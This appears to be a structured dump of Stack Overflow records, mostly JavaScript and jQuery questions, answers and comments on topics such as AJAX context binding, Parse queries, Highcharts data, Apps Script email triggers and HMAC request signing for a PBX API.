has body: Well, I guess your issue is authentication. You didn't show how you do that in Python, but I suppose there's something about that, since you somehow calculate body_md5_str and signature before you even have a body (json.dumps call), so there must be something wrong about it. Did you ensure your code generates the same values as JS and PHP code? Personally, I would implement an authentication class, that would add necessary headers before request fires. Refer to requests documentation on custom auth for details, and here's my (untested) attempt at it, if I got the details right: import requests import hashlib import hmac import base64 from wsgiref.handlers import format_date_time import datetime from time import mktime CONTENT_TYPE_FORM_URLENCODED = "application/x-www-form-urlencoded" class OnlinePBXAuth(requests.auth.AuthBase): def __init__(self, key_id, secret): self.key_id = key_id self.secret = secret def __call__(self, r): content_type = r.headers.get("Content-Type", CONTENT_TYPE_FORM_URLENCODED) body = r.body or "" body_md5 = hashlib.md5(body).hexdigest() date = format_date_time(mktime(datetime.datetime.now().timetuple())) date = r.headers.get("Date", date) r.headers["Date"] = date r.headers["X-PBX-Date"] = date sign = "\n".join([r.method, body_md5, content_type, date, r.url, ""]) signature = base64.b64encode(hmac.new(self.secret, sign, hashlib.sha1).hexdigest()) r.headers["Content-MD5"] = body_md5 r.headers["X-PBX-Authentication"] = "{0}:{1}".format(self.key_id, signature) return r Not the prettiest code, but I guess that should do the trick. Then, use it like this: auth = OnlinePBXAuth(KEY_ID, KEY_SECRET) ... data = {"date_from": date_from, "date_to": date_to} r = requests.post(url, data, auth=auth) ... Or maybe even like this: session = requests.Session(auth=OnlinePBXAuth(KEY_ID, KEY_SECRET)) ... r1 = session.post(url, data) ... r2 = session.post(another_url, another_data) I'm not sure it would work with empty-bodied requests (like most GETs are) and multipa…
accepted answer of: http://stackoverflow.com/q/25642081
has comment: http://stackoverflow.com/comment/40072097
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40070116
has comment: http://stackoverflow.com/comment/40069774
type: AcceptedAnswer
upvote count: 1

http://stackoverflow.com/a/25686228
type: Answer
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25686062
answers question: http://stackoverflow.com/q/25686062
score: 3
type: AcceptedAnswer
downvote count: 0
has body: These days, clients run fast enough that you don't really need to worry about any performance differences between vanilla JavaScript and jQuery. Thus, it could be said that this is a sort of "premature optimization", so I give you the same answer I always give: Use what you know/what's easier to maintain until you can demonstrate a critical performance bottleneck via a profiler; only then should you figure out how to improve the performance, possibly including switching to vanilla JS.

http://stackoverflow.com/comment/39984836
type: AnswerComment
has text: Ok, thanks again for your in depth answer. I'm not quite there yet.
type: Comment
comment on: http://stackoverflow.com/a/25589379
score: 0

http://stackoverflow.com/a/25787102
has body: So the solution seems to be to be: var fileContent = !{JSON.stringify(editFile)}; Thanks All.
answers question: http://stackoverflow.com/q/25634754
type: AcceptedAnswer
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25634754

acrobat
type: Tag
tags question: http://stackoverflow.com/q/25697959
tag name: acrobat
tags question: http://stackoverflow.com/q/25671023

http://stackoverflow.com/q/25693567
type: Question
has body: so basically I'm trying to see if I can get the text submitted by an input field to match a user's objectId in the input field. Like, say if a user types some numbers and letters in an input field and it's equal to one of the user's objectId's in the Data Browser, then console.log a message... I was thinking of using a query to loop through the users and then retrieve what the user types in the input, So something like: &lt;input type="text" id="inputObject"&gt;&lt;/input&gt; &lt;script&gt; var query = new Parse.Query(Parse.User).id; var input = $('#inputObject').val(); query.find({ success: function(results) { if(query == input) { console.log("There has been a match."); } }, error: function(results, error) { console.log("None found."); } }); &lt;/script&gt; Any ideas?
tagged with: javascript
tagged with: jquery
score: 0
has title: Parse, Check if input matches an objectId
answer count: 1
accepted answer: http://stackoverflow.com/a/25697991
tagged with: parse-platform
has answer: http://stackoverflow.com/a/25697991
tagged with: input
has comment: http://stackoverflow.com/comment/40159133
has comment: http://stackoverflow.com/comment/40159085
type: AnsweredQuestion

http://stackoverflow.com/comment/40151903
score: 0
type: Comment
type: QuestionComment
has text: Maybe this helps: http://stackoverflow.com/questions/2683072/jquery-events-load-ready-unload
comment on: http://stackoverflow.com/q/25689670

http://stackoverflow.com/comment/40180117
type: QuestionComment
score: 0
has text: Sorry, I did not think of that. Here is the lightbox css file: https://drive.google.com/folderview?id=0BxgeLB33TSvCUWFvSVZWNTVidDQ&usp=sharing
comment on: http://stackoverflow.com/q/25704787
type: Comment

http://stackoverflow.com/a/29622573
type: Answer
answers question: http://stackoverflow.com/q/25573768
has body: In file js/mage/adminhtml/form.js you will find a Javascript class with the name FormElementDependenceController. You will also find a explanation how to structure the dependencies in the class constructor. You could try this: new FormElementDependenceController( ['zipbasedprice_zip','zipbasedprice_zip_from_zip','zipbasedprice_zip_to_zip'], {'zipbasedprice_isrange':1} );
score: 0

http://stackoverflow.com/q/25619554
has comment: http://stackoverflow.com/comment/40024502
has comment: http://stackoverflow.com/comment/40024355
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40024599
has body: i got a button in html that sets by AJAX a new tr so i build a function(code below) to add it that works good but now i want a counter to look howmuch rows i have, the up counter works, at the end of all rows i have a "trash" icon and by click the row disapears(that works fine too) but the down counter hava an issue this is the logic 15 14 12 9 5 0 -6 -13 -21 -30 -40 -51 -63 -76 -90 "normaly this goes from 15 to 1" var partcount = 1; $('#AddName').click(function () { partcount ++; $.ajax({ type: "POST", url: "@Url.Action("addParticipantToForm", "Events")", success: function (data) { $('.table tr:last').after(data); }, }); console.log(partcount); document.getElementById("partisipants-counter").innerHTML = partcount; }); this is on one page the second page is what execute every time the add button is pressed so i had to set the script for the trashcan here otherwise it wont work @model Livework.Web.Ticketing.ViewModels.CustomerViewModel naam @Html.EditorFor(model => model.thePartisipant.Name, new { htmlAttributes = new { @class = "form-control" } }) sorry for my bad english, if there are any questions, let me know thanks in advance
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40024251
has answer: http://stackoverflow.com/a/25619861
tagged with: variables
tagged with: jquery
has comment: http://stackoverflow.com/comment/40024574
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25619756
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40024787
has title: Javascript down count of var fails

http://stackoverflow.com/q/25695664
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
accepted answer: http://stackoverflow.com/a/25696449
tagged with: toolbarjs
upvote count: 2
has title: Jquery plugin - toolbar.js > link not work
score: 2
type: AnsweredQuestion
tagged with: hyperlink
type: Question
has answer: http://stackoverflow.com/a/25696449
answer count: 1
has body: I have this code, where there are 3 links, but when I click on link, on footer bar of firefox, show the link, but do not open the link. If click on the mouse roll, open the page. The sx button of mouse work fine on other sites or windows function. <!--[if gte IE 9]> <![endif]--> <a href> <a href> <a href> How to links work? Thanks

http://stackoverflow.com/a/25606668
has body: this pointer was referring to $scope instead of the controller. this When the controller constructor function is called, this is the controller. When a function defined on a $scope object is called, this is the "scope in effect when the function was called". This may (or may not!) be the $scope that the function is defined on. **So, inside the function, this and $scope may not be the same. $scope Every controller has an associated $scope object. A controller (constructor) function is responsible for setting model properties and functions/behavior on its associated $scope. Only methods defined on this $scope object (and parent scope objects, if prototypical inheritance is in play) are accessible from the HTML/view. E.g., from ng-click, filters, etc. courtesy of Mark Rajcok taken from How does 'this' and $scope work in AngularJS controllers without this app.controller('MyCtrl', function($scope){ $scope.doStuff = function(){ //Really long function body }; }); with this var MyCtrl = function($scope){ var _this = this; $scope.doStuff = function(){ _this.doStuff(); }; }; MyCtrl.prototype.doStuff = function(){ //Really long function body }; MyCtrl.$inject = ['$scope']; app.controller('MyCtrl', MyCtrl);
score: 1
accepted answer of: http://stackoverflow.com/q/25606365
answers question: http://stackoverflow.com/q/25606365
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40001471
type: Answer
upvote count: 1

http://stackoverflow.com/a/25693612
has body: You need to use the selector #menuItems li.liOnHover or #menuItems li:hover for the hover changes to work. Additionally, you should set the display of #menuItems li to inline-block. Hope this helps.
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/25693290

http://stackoverflow.com/comment/125951483
type: AnswerComment
comment on: http://stackoverflow.com/a/25703406
score: 0
type: Comment
has text: what if I want only the domain name without the http(s) or www stuff?

http://stackoverflow.com/a/25684944
has comment: http://stackoverflow.com/comment/40213510
answers question: http://stackoverflow.com/q/25684487
downvote count: 0
type: Answer
has body: A quick google gave me the following Html: &lt;div id='div' draggable="true"&gt; &lt;/div&gt; Script: $("#div").click(function(){ alert('clicked'); }); $("#div").hover(function(){ $("#div").trigger( "click" ); }); This runs click on hover, similarly there might be way to run mouseup on drag. Fiddle Edit I: Try this if it works $("#div").mouseup(function(){ alert('mouseup'); }); $('#div').bind('drag',function( event ){ $("#div").trigger( "mouseup" ); });
score: 3
has comment: http://stackoverflow.com/comment/40154395
has comment: http://stackoverflow.com/comment/40157740
upvote count: 3
has comment: http://stackoverflow.com/comment/40213038

http://stackoverflow.com/comment/40015421
has text: possible duplicate of [Generate a string of 5 random characters in Javascript](http://stackoverflow.com/questions/1349404/generate-a-string-of-5-random-characters-in-javascript)
score: 0
comment on: http://stackoverflow.com/q/25614632
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25652610
has answer: http://stackoverflow.com/a/25652780
linked to: http://stackoverflow.com/q/8449933
has comment: http://stackoverflow.com/comment/40084475
type: Question
has answer: http://stackoverflow.com/a/25658788
tagged with: javascript
tagged with: jquery
has title: Animate opacity from 0 to 1 to 1 while moving on x axis
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/40084682
has comment: http://stackoverflow.com/comment/40084470
has answer: http://stackoverflow.com/a/25652889
type: UnansweredQuestion
has body: I am facing a problem with jQuery, and I need your help! I have an object there is moving from one point to another on the x-axis. What I really want to achieve, is a animation of this objects opacity, going from 0 to 1 and to 0 again, in the exact same time, it takes the object to travel from the staring point to the end point. What I have been trying to do is: $('.swipe').css({opacity: 0}); $('.swipe').animate({opacity: 1, left: '400'}, 1000); $('.swipe').animate({opacity: 0, left: '800'}, 1000); This is giving me an "start stop start" animation, and not this smooth animation that I want :) example: START &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; MIDDLE &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; END OPC:0 &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; OPC: 1 &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; OPC:0 Thanks for your time :) /Troels

http://stackoverflow.com/comment/40128013
score: 0
type: Comment
type: QuestionComment
has text: if it's an object - you don't need it at all. Just use `for-in` to iterate over object's keys. So, uhm, you've just asked a wrong question presumably. Relevant: http://meta.stackexchange.com/q/66377/145588
comment on: http://stackoverflow.com/q/25676284

http://stackoverflow.com/a/26025479
has body: I'm not sure what the problem could be, but I can't really answer this with more info. Do you have this published somewhere? I think with CodeKit you have to make sure you load the files in the right order. I know that CodeKit upgraded to version 2 since I recorded this, so that may be an issue. You may also want to try PrePros. I recorded a video on how to work with that here. https://www.youtube.com/watch?v=2XBb65yMMSg
answers question: http://stackoverflow.com/q/25685667
score: 0
type: Answer

http://stackoverflow.com/q/25580853
accepted answer: http://stackoverflow.com/a/25581033
score: 0
has answer: http://stackoverflow.com/a/25581171
tagged with: http://stackoverflow.com/tag/html
tagged with: expand
type: AnsweredQuestion
has body: I have a stack of div tags. Each div will contain hidden content. I want the hidden content to expand with the div that it is situated in when clicking on the view button at the bottom. When the div expands I want it to push all the content underneath it down. And if possible I would like it if by clicking on a different view button the previously expanded div will collapse. I am not very js competent but tried copying some simple code to start it off but couldn't get anything to expand.. please help! fiddle: http://jsfiddle.net/ebenhafkamp/3vhpoL3t/ html Lorem Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce eros erat, dapibus sit amet pretium ut, pellentesque et leo. View This is just some random content. This is just some random content. This is just some random content. This is just some random content. css .maincontent{height:140px; width:900px; float:left;} .content{display:none;} js $(".maincontent").click(function () { $maincontent = $(this); $content = $maincontent.next(); $content.slideToggle(500, function () { $maincontent.text(function () { return $maincontent.is(":visible") ? "Collapse" : "Expand"; }); }); });
possible better answer: http://stackoverflow.com/a/25581171
has title: How to expand a div situated on top of another with javascript?
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25581033

http://stackoverflow.com/q/25656710
has comment: http://stackoverflow.com/comment/40092483
tagged with: highcharts
tagged with: arrays
answer count: 1
tagged with: javascript
has title: Add array data in HighChart android
has comment: http://stackoverflow.com/comment/40092552
has comment: http://stackoverflow.com/comment/40092601
has comment: http://stackoverflow.com/comment/40092759
tagged with: android
has body: Im having a bit trouble with loading array/data from my android/java code to highchart/html code. It is working fine when I will put the data in static: series: [{ name:'Fruit', data: [{name:"Test 1",y:10}, {name:"Test 2",y:20}, {name:"Test 3",y:30},]}] But when I will try to add it from my java code: //graph_webview_test is my webview and add the GraphWebInterface() as javascript graph_webview_test.addJavascriptInterface(new GraphWebInterface(), "Android"); //a method of GraphWebInterface @JavascriptInterface public String getStringTickets(){ String temp=""; for(int x=0;x&lt;graphTicketArrayList.size();x++){ temp= temp+"{name:"+"\""+graphTicketArrayList.get(x).getLabel()+"\""+",y:"+graphTicketArrayList.get(x).getTotal()+"},"; } return temp; } //i tried to print the result(Sample_graph.html) console.log(Android.getStringTickets()); result: "{name:"Test 1",y:10},{name:"Test 2",y:20},{name:"Test 3",y:30}", and call the method to load data. series: [{ name:'Fruit', data: [Android.getStringTickets()] }] but the highChart is displaying 0 data and a label (slice) What is the best approach of loading array in highchart. Thanks Guys,
type: AnsweredQuestion
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/25656983
accepted answer: http://stackoverflow.com/a/25656983
score: 0

http://stackoverflow.com/comment/40042026
type: QuestionComment
comment on: http://stackoverflow.com/q/25628977
has text: What end-result do you actually want? What should the output of this function/approach be, given that input?
score: 0
type: Comment

http://stackoverflow.com/a/25594306
accepted answer of: http://stackoverflow.com/q/25594009
has body: As you are already using jQuery-ui - what about using a dialog? Here is an (unstyled) example. As Geraud Mathe suggested I used the dblclick() Event: JSFiddle | Dialog Doc theDivJustAdded.dblclick(function() { var divElem = $(this); dialog = $( "#dialog-form" ).dialog({ height: 300, width: 350, modal: true, buttons: { "Save": function() { divElem.find('.text').text($( "#dialog-form input" ).val()); dialog.dialog( "close" ); }, Cancel: function() { dialog.dialog( "close" ); } } }); } );
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25594009
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/40109533
score: 0
type: AnswerComment
has text: Yes, I had testet this with Scriptish (GreaseMonkey fork) on Google. It's just hard coded with your example "-dog". You should adapt the code to your needs with dynamic build of the expression.
type: Comment
comment on: http://stackoverflow.com/a/25664200

http://stackoverflow.com/comment/39967601
type: Comment
score: 0
has text: Why this html needs to be injected? what it cannot be a directive template?
type: QuestionComment
comment on: http://stackoverflow.com/q/25588403

http://stackoverflow.com/q/25687866
has title: Reply email not being sent in formSubmitReply
has comment: http://stackoverflow.com/comment/40148637
tagged with: javascript
has comment: http://stackoverflow.com/comment/40149430
has comment: http://stackoverflow.com/comment/40149652
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40149274
tagged with: form-submit
answer count: 0
score: 0
has body: I have the following code written: function formSubmitReply(e) { var userEmail = e.values[7]; //var file = DriveApp.getFileById('SWAD_agenda_2014.pdf'); //var userFirstName = e.values[2]; MailApp.sendEmail(userEmail, //subject line text "Online Spotter Class Registration", //body of email "Congratulations! " + "You are ALMOST fully registered to attend the online \n" + "spotter class on Monday, September 22nd 2014 at 630 pm! \n\n" + "Please finish your registration for the class by clicking on the following link: \n" + "https://www1.gotomeeting.com/register/413777265 \n\n" + "Once you do, GoToMeeting will send you an email with a link to click on. \n" + "When you're ready, click on that link and there will be a small download \n" + "to allow you to participate through GoToMeeting. There will be time to \n" + "do this just before we begin, if you so choose. \n\n" + "Remember, if you want to actively participate, you will need a \n" + "microphone. It is not necessary, though. You can just listen and watch, \n" + "if you want.\n\n" + "We look forward to 'seeing' you then!\n\n" + "NWS Nashville", {name:"NWS Nashville"}); } With my trigger set to submit upon receipt. The e.value is 7, which is the 7th column in my spreadsheet, not counting the timestamp. I keep getting this error email: Start Function Error Message Trigger End 9/4/14 1:48 PM formSubmitReply Invalid email: undefined (line 5, file "Code") formSubmit 9/4/14 1:48 PM This code worked before and I'm stumped why it's not working anymore. Please help.
type: Question

http://stackoverflow.com/comment/39995146
score: 0
type: AnswerComment
has text: @Jenz totally agree, but i meant to say if i go to url other than `$7` lets say `$5` or `$3` then ? ill land into a page `base_url()./amountdue/$3` !!! hang on there is no such subscription like that.
type: Comment
comment on: http://stackoverflow.com/a/25603013

http://stackoverflow.com/comment/39940785
score: 1
comment on: http://stackoverflow.com/q/25573800
type: QuestionComment
type: Comment
has text: For some reason setting the #placeholder with a z-index of -1 works for me :P

http://stackoverflow.com/a/25692059
score: 1
answers question: http://stackoverflow.com/q/25691915
has body: DEMO HTML: &lt;span class="btn-file" &gt; Load and show alert &lt;input type="file" id="input"&gt; &lt;/span&gt; &lt;br/&gt; &lt;img id="img"&gt; &lt;/img&gt; SCRIPT: function handleFiles() { alert("lol"); var fileList = this.files; /* now you can work with the file list */ } var inputElement = document.getElementById("input"); inputElement.addEventListener("change", handleFiles, false); SOURCE: Dynamically adding a change listener
upvote count: 1
type: Answer
downvote count: 0

http://stackoverflow.com/comment/40156202
comment on: http://stackoverflow.com/a/25671000
has text: Thank you, I now just finished implementing it. It's less convenient than how I did it before but it works so that's great. What is the advantage/difference with the method of changing the picture compared to the one I used tho? does it not do more or less the same?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40012211
type: QuestionComment
has text: It doesn’t really make sense for `$(this)` to be 20 values, so please actually add context, because it’s important.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25612921

http://stackoverflow.com/a/25637724
type: Answer
has body: There are at least four different ways to solve the issue of not calling your method with the right context from your success and complete handlers. Use the context argument for $.ajax() so that this in your success handler will be what you want it to be so you can then call your method. Use .bind() to create a new function stub that calls your method with the right context. Save the value of this into a local variable so you can reference that variable when you need it in a stub function. Use jQuery's cross browser version of .bind() which is called $.proxy(). I will offer you some examples of each. First, the context option for $.ajax(): this.checkNewMessage = function(){ console.log(this); // placed this for debugging purpose $.ajax({ context: this, url : SITEURL.CHECK_MESSAGE, data : this.currrentUserDetails, dataType : 'json' , cache : false, success : function(data) { this.parseNewMessageResponse(data); }, complete : function(data) { this.checkNewMessage(); } }); }; Then, using .bind(). this.checkNewMessage = function(){ console.log(this); // placed this for debugging purpose $.ajax({ url : SITEURL.CHECK_MESSAGE, data : this.currrentUserDetails, dataType : 'json' , cache : false, success : this.parseNewMessageResponse.bind(this), complete : this.checkNewMessage.bind(this) }); }; Then, using a saved copy of this: this.checkNewMessage = function(){ var self = this; console.log(this); // placed this for debugging purpose $.ajax({ url : SITEURL.CHECK_MESSAGE, data : this.currrentUserDetails, dataType : 'json' , cache : false, success : function(data) { self.parseNewMessageResponse(data); }, complete : function(data) { self.checkNewMessage(); } }); }; And finally with jQuery's `.proxy(): this.checkNewMessage = function(){ console.log(this); // placed this for debugging purpose $.ajax({ url : SITEURL.CHECK_MESSAGE, data : this.currrentUserDetails, dataType : 'json' , cache : false, success : $.proxy(this.parseNewMessageResponse, this), complete : $.proxy(this.checkN…
score: 2
answers question: http://stackoverflow.com/q/25637291
downvote count: 0
upvote count: 2

http://stackoverflow.com/comment/40153389
comment on: http://stackoverflow.com/q/25609421
score: 0
has text: thanks for your feedback guys. ill let you know how i get on!
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25686562
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25714285
has title: Auto Height on Container using jQuery Cycle
tagged with: jquery-cycle
type: Question
has body: I am trying to get the container to automatically calculate the height and am using the following code but with no luck. The container is called #featured-content /* &lt;![CDATA[ */ var jqu = jQuery.noConflict(); jqu( function () { /* Cycle */ jqu( '#featured-content' ).cycle( { slideExpr: '.featured-post', fx: 'fade', speed: 1000, cleartypeNoBg: true, pager: '#slide-thumbs', containerResize: true, slideResize: false, width: '100%', timeout: 5000, prev: '#slider-prev', next: '#slider-next', pagerAnchorBuilder: function( idx, slide ) { // return selector string for existing anchor return '#slide-thumbs li:eq(' + idx + ') a'; } } ); // call back function to animate the height of the container function onAfter(curr, next, opts, fwd) { var index = opts.currSlide; $('#slider-prev')[index == 0 ? 'hide' : 'show'](); $('#slider-next')[index == opts.slideCount - 1 ? 'hide' : 'show'](); //get the height of the current slide var $ht = $(this).height(); //animates the container's height to that of the current slide $(this).parent().animate({ height: $ht }); } } ); /* ]]&gt; */
tagged with: javascript
tagged with: jquery-plugins
score: 0
answer count: 1
tagged with: jquery

http://stackoverflow.com/comment/39954125
comment on: http://stackoverflow.com/a/25580924
type: Comment
has text: If i am not making something wrong i get and Uncaught SyntaxError: Unexpected identifier. I added an expected result if that helps
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39960881
comment on: http://stackoverflow.com/a/25584788
type: Comment
score: 1
type: AnswerComment
has text: When i use this code and i look at the xhr.responseText; its works. I have no idee why its works with this code and not with mine but it does

http://stackoverflow.com/a/25655032
has body: Why not attach the click handler to the #mydata div? As #mydata is an ID, there should only be one of them. $('#mydata').click( function() { ... If you want, you can delegate the click from .example: $('.example').on('click', '#mydata', function() { ... But, this won't be useful unless #mydata is dynamic (i.e. is added after the page loads). If you want a click handle on each li, etc, do: $('.example').on('li', '#mydata', function() { ...
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25654963

http://stackoverflow.com/q/25627503
accepted answer: http://stackoverflow.com/a/25627570
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has title: Javascript or Jquery - restricting input field to only 8 decimals
type: AnsweredQuestion
score: 1
upvote count: 1
tagged with: forms
type: Question
tagged with: javascript
has body: Is it possible to restrict a form field in HTML with Jquery/Javascript to only 3 decimals . What I mean is that: 33.334 should be allowed as input 3.344 &amp; 444444.556 etc. as well but it should not allow 5.6664 etc. How can I do that?
has answer: http://stackoverflow.com/a/25627570
answer count: 1
downvote count: 0
tagged with: jquery

http://stackoverflow.com/comment/40072319
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25645322
has text: Quick look: There is no such html tag as , it might be throwing off the 'good' browsers.

css
tags question: http://stackoverflow.com/q/25690977
tags question: http://stackoverflow.com/q/25673781
tags question: http://stackoverflow.com/q/25584380
tags question: http://stackoverflow.com/q/25616240
tags question: http://stackoverflow.com/q/25646222
tags question: http://stackoverflow.com/q/25601057
tags question: http://stackoverflow.com/q/25601371
tags question: http://stackoverflow.com/q/25704897
tags question: http://stackoverflow.com/q/25595219
tags question: http://stackoverflow.com/q/25636054
tags question: http://stackoverflow.com/q/25702736
tags question: http://stackoverflow.com/q/25551999
tags question: http://stackoverflow.com/q/25688199
tags question: http://stackoverflow.com/q/25576268
tags question: http://stackoverflow.com/q/25651894
tags question: http://stackoverflow.com/q/25683619
tags question: http://stackoverflow.com/q/25649508
tags question: http://stackoverflow.com/q/25574027
tags question: http://stackoverflow.com/q/25577571
tags question: http://stackoverflow.com/q/25654112
tags question: http://stackoverflow.com/q/25700781
tags question: http://stackoverflow.com/q/25566290
tags question: http://stackoverflow.com/q/25562821
tags question: http://stackoverflow.com/q/25552586
tags question: http://stackoverflow.com/q/25652015
tags question: http://stackoverflow.com/q/25620019
tags question: http://stackoverflow.com/q/25568801
tags question: http://stackoverflow.com/q/25569347
tags question: http://stackoverflow.com/q/25590672
tags question: http://stackoverflow.com/q/25632110
tags question: http://stackoverflow.com/q/25707681
tags question: http://stackoverflow.com/q/25656990
tags question: http://stackoverflow.com/q/25683316
tags question: http://stackoverflow.com/q/25631403
tags question: http://stackoverflow.com/q/25586819
tags question: http://stackoverflow.com/q/25658326
tags question: http://stackoverflow.com/q/25567783
tags question: http://stackoverflow.com/q/25630377
tags question: http://stackoverflow.com/q/25688630
tags question: http://stackoverflow.com/q/25558113
tags question: http://stackoverflow.com/q/25560829
tags question: http://stackoverflow.com/q/25602113
tags question: http://stackoverflow.com/q/25660373
tags question: http://stackoverflow.com/q/25644040
tags question: http://stackoverflow.com/q/25562019
tags question: http://stackoverflow.com/q/25611590
tags question: http://stackoverflow.com/q/25702797
tags question: http://stackoverflow.com/q/25638991
tags question: http://stackoverflow.com/q/25597885
tags question: http://stackoverflow.com/q/25667852
tags question: http://stackoverflow.com/q/25637466
tags question: http://stackoverflow.com/q/25709557
tags question: http://stackoverflow.com/q/25630254
tags question: http://stackoverflow.com/q/25600631
tags question: http://stackoverflow.com/q/25580764
tags question: http://stackoverflow.com/q/25563633
tags question: http://stackoverflow.com/q/25702410
tags question: http://stackoverflow.com/q/25668548
tags question: http://stackoverflow.com/q/25562486
tags question: http://stackoverflow.com/q/25566018
tags question: http://stackoverflow.com/q/25584368
tags question: http://stackoverflow.com/q/25582940
tags question: http://stackoverflow.com/q/25635263
tags question: http://stackoverflow.com/q/25619572
tags question: http://stackoverflow.com/q/25610210
tags question: http://stackoverflow.com/q/25707835
tags question: http://stackoverflow.com/q/25615923
tags question: http://stackoverflow.com/q/25604414
tags question: http://stackoverflow.com/q/25563405
tags question: http://stackoverflow.com/q/25570005
tags question: http://stackoverflow.com/q/25562626
tags question: http://stackoverflow.com/q/25576619
tags question: http://stackoverflow.com/q/25594920
tags question: http://stackoverflow.com/q/25694026
tags question: http://stackoverflow.com/q/25656703
tags question: http://stackoverflow.com/q/25580861
tags question: http://stackoverflow.com/q/25630464
tags question: http://stackoverflow.com/q/25597248
tags question: http://stackoverflow.com/q/25706726
tags question: http://stackoverflow.com/q/25630019

http://stackoverflow.com/comment/39994501
type: QuestionComment
has text: @wumm obviously yeah, I am fairly new to Jquery and am trying to get some hands on experience. I honestly tried a lot like adding with ++ forgot the '' or just writing counter or escaped it... slowly I udnerstand why total newbs get mad of SO fast
score: 0
comment on: http://stackoverflow.com/q/25602954
type: Comment

http://stackoverflow.com/comment/81826995
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25658495
has text: Don't forget to use global variable for markers Gmaps.markers = handler.addMarkers(<%=raw @hash.to_json %>);

http://stackoverflow.com/q/25675049
favorite count: 0
downvote count: 2
answer count: 1
has title: Javascript making submit button non functional
has comment: http://stackoverflow.com/comment/40125100
accepted answer: http://stackoverflow.com/a/25675116
has body: I am using velocity scripting for a web page.I have a hidden field that I am populating with value entered with the value entered in another field ( JS fiddle: http://jsfiddle.net/x1bdgvyt/). when I try to implement the javascript with my existing code base the submit button doesn not function anymore. IIt works fine before I plug in the JS. Clicking on it doesnt do anything. I am not sure what is wrong. Any help is much appreciated. HTML submit button code TEXT TEXT TEXT | or | TEXT TEXT TEXT Java script code $('form').on('submit', function(e){ $('[name="retype-email"]').val($('[name="email"]').val()); e.preventDefault() });
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40125069
upvote count: 0
tagged with: javascript
type: Question
tagged with: http://stackoverflow.com/tag/html
score: -2
has answer: http://stackoverflow.com/a/25675116

http://stackoverflow.com/q/25691915
possible better answer: http://stackoverflow.com/a/25692059
answer count: 4
has title: Not working handler on "onchange" event
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/40155993
type: Question
has answer: http://stackoverflow.com/a/25692175
has answer: http://stackoverflow.com/a/25692076
tagged with: javascript
linked to: http://stackoverflow.com/q/11860721
has body: I'm trying to make some changes in DOM after an image is selected with an "input file" HTML5 element. So, I added a handler to the "onchange" event, but it is not working! &lt;span class="btn-file" &gt; Load and show alert &lt;input type="file" onchange="performSomeActions()"/&gt; &lt;/span&gt; And supose this is the function: function performSomeActions(){ alert("lalala"); } The error I get when I execute the code and after choosing a file is: Uncaught ReferenceError: performSomeActions is not defined I thought maybe I was wrong with the event name, but if you replace the input definition with the following line, it is working! &lt;input type="file" onchange="alert('alo');"/&gt; THE FIDDLE: http://jsfiddle.net/pvhaggrv/5/ Thanks in advance!
tagged with: onchange
has comment: http://stackoverflow.com/comment/40156322
has answer: http://stackoverflow.com/a/25692059
accepted answer: http://stackoverflow.com/a/25692076
has answer: http://stackoverflow.com/a/25692180
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/a/25627750
score: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25625491
answers question: http://stackoverflow.com/q/25625491
type: Answer
has body: Your second example is the better way. Making an Ajax call with sync: true makes it synchronous and defeats the whole purpose of making an AJAX (remember what the A stands for in AJAX) call. As far as calling doSomethingComplex within draw is good or bad is kind of tricky thing to answer without looking at a holistic level at your entire design. On the surface, it violates SRP, but then, with JavaScript, sometimes doing so can make the overall code flow logical and easier to follow. I tend to trade in dogmatism in favor of pragmatism when it makes sense. I would say try to refactor the code so that it doesn't need to call doSomethingComplex within draw and see if that makes more sense. In general, the less tasks a single function does, the easier it is to test and maintain the code, not to forget the less chance of that being buggy. To reduce the number of variables required to pass, you can always wrap them in a single object: var state = { foo: ..., bar: ... ... }; doSomethingComplex(state); by passing state like this, you'll avoid closure related side effects as well. Not saying closures are always bad, but if you can manage to have one less thing to worry about, why not do that? Again, all of this depends on how things fit in the larger picture and use these points a guiding light. There is no silver bullet.
upvote count: 2

http://stackoverflow.com/comment/40152753
type: Comment
comment on: http://stackoverflow.com/a/25685316
score: 0
type: AnswerComment
has text: Thanks for spotting that Scott, I've updated the answer to remove any future confusion

http://stackoverflow.com/q/25554948
has comment: http://stackoverflow.com/comment/39939450
